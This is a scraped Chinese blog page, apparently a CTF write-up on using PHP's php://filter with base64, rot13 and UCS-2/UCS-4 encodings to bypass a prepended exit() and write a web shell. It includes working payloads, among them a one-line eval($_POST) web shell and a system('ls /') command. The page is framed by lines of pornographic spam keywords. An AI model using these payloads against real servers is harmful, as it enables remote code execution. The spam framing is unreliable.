色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

php filter協(xié)議使用方法

瀏覽:123日期:2022-06-06 11:39:19
<?phphighlight_file(__FILE__);error_reporting(0);$content = $_POST["content"];file_put_contents($_GET["filename"], "<?php exit; ?>".$content);?>

base64加密

看文章的時(shí)候看到這樣的一個(gè)代碼,發(fā)現(xiàn)我們往文件中寫(xiě)入的時(shí)候,肯定會(huì)執(zhí)行<?php exit;?>,可是這樣就直接退出了就不能執(zhí)行我們后面的命令,所以我們要想辦法去繞過(guò),或者說(shuō)不執(zhí)行這個(gè)exit

這道題,可控點(diǎn)有兩個(gè) filename 和 content,先直接給出payload ,然后解析

GET:?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=PD9waHAgcGhwaW5mbygpOz8+

上面的POST段為<?php phpinfo();?>加密段

看完大佬的文章理解:

base64只對(duì)64個(gè)字符解密,那如果不是64個(gè)字符中的,會(huì)直接忽略不計(jì)

并且base64中的字符,是要求是4個(gè)字節(jié)的倍數(shù),如果實(shí)在不行則=補(bǔ)齊

隨便輸入一個(gè)都是4字節(jié)的倍數(shù)

<?php exit; ?>這個(gè)數(shù)據(jù)是固定的,而< > ; ?是64以外的字符,解碼時(shí)會(huì)忽略,我們需要考慮的就是phpexit(空格不需要考慮),因?yàn)槭?的倍數(shù),如果在最后面系統(tǒng)自動(dòng)加上=號(hào)的話,就改變了我們期望的值,所以需要我們手動(dòng)進(jìn)行修改,這時(shí)候我們可以在前面隨便添加一個(gè)數(shù)據(jù),讓它與phpexit組合起來(lái),成為一個(gè)亂碼,不會(huì)影響后面的執(zhí)行。

還有一道就是最近遇到的一道題目,和上面的思路差不多

eval("#".$_GET['flag]);

這個(gè)#影響了我后面get傳參,不能進(jìn)行命令執(zhí)行

所以我的思路也是想如何繞過(guò)#,或者刪除了它

可是,當(dāng)時(shí)想了很久都沒(méi)有想出來(lái),還是大佬的提醒點(diǎn)了我一下

這既然是php里面的命令,我們完全可以把前面的閉合掉,然后自己再插入一句話木馬

cmd=?><?php eval($_POST['shell']);

shell=system('ls /');進(jìn)行這樣的操作獲得flag等等,當(dāng)時(shí)腦袋瓦特了想不起來(lái)

rot13編碼繞過(guò)

rot13編碼的本質(zhì)就是將字母左移13位。

如:<?php phpinfo();>經(jīng)過(guò)rot13編碼后這樣:<?cuc cucvasb();?>

用在php://filter中的話格式大概為這樣

php://filter/string.rot13/resource=文件名

這樣的話上面的題目,用rot13繞過(guò)前面的 exit就會(huì)轉(zhuǎn)成別的東西,而我們輸入的則最后還是那串執(zhí)行代碼,這樣也就可以繞過(guò)了

結(jié)果非常清楚,前面exit被認(rèn)為是加密解密成這樣,后面我們事先加了密,所以抵消,還是原來(lái)的

加強(qiáng)繞過(guò)exit

<?phphighlight_file(__FILE__);error_reporting(0);$content = $_GET["content"];file_put_contents($content, "<?php exit();".$content);

代碼換成了這樣,好比上面讓你疊飛機(jī)下面讓你造飛機(jī)(-0-)

顯而易見(jiàn),只有content這一個(gè)傳參點(diǎn)了

這種就是加了一個(gè)write直接寫(xiě)入文件,然后紅色部分/可以換成別的管道符,只要和rot13隔開(kāi)就行

convert.iconv.

1.usc-2

這個(gè)編碼就是2個(gè)為一組交換字符的位置(空格也會(huì)交換)

為什么我們可以把filter直接寫(xiě)入,因?yàn)閷?xiě)入以后只有我們輸入的一句話木馬會(huì)被執(zhí)行,別的就相當(dāng)于亂碼一樣

2.usc-4

就是換成了4個(gè)字符一組交換

總結(jié):我們的思路其實(shí)都是相同的,通過(guò)某一個(gè)手段把exit繞過(guò),然后執(zhí)行我們的命令,其實(shí)就是用一些編碼的特性,base64 rot13 usc-2 usc-4,都會(huì)把exit變成別的亂碼一般。

到此這篇關(guān)于php filter協(xié)議使用方法的文章就介紹到這了,更多相關(guān)php filter協(xié)議內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
主站蜘蛛池模板: 成人小视频在线播放 | 国产高清视频免费最新在线 | 国产精品爱久久久久久久三级 | 久久久久久久91精品免费观看 | 国产精品揄拍一区二区久久 | 玖玖精品 | 久久久久女人精品毛片九一 | 国产在线观看一区精品 | 久久精品一区 | 亚洲免费视频网 | 国产偷国产偷亚洲高清在线 | 久久免费激情视频 | a大片久久爱一级 | 99综合视频| 男女国产一级毛片 | 久久综合一本 | 国产精品久久久精品三级 | 日韩欧美一区二区三区在线观看 | 一及黄色毛片 | 国产精品欧美日韩一区二区 | 欧美高清视频在线 | 一级黄色免费网站 | 国产成人精品magnet | 日韩乱码视频 | 手机在线观看一级午夜片 | 亚洲欧美高清视频 | 亚洲免费成人在线 | 精品国产免费第一区二区三区日韩 | 国产成人精品高清在线 | 国产盗摄一区二区 | 99视频99| 日韩欧美黄色 | 成人禁在线观看网站 | 久久中出 | 亚洲国产精品一区二区久 | 男人的天堂视频在线观看 | 高清欧美不卡一区二区三区 | 亚洲国产欧美国产综合一区 | 真实国产乱子伦高清 | 欧美特黄一级高清免费的香蕉 | 免费国产成人综合 |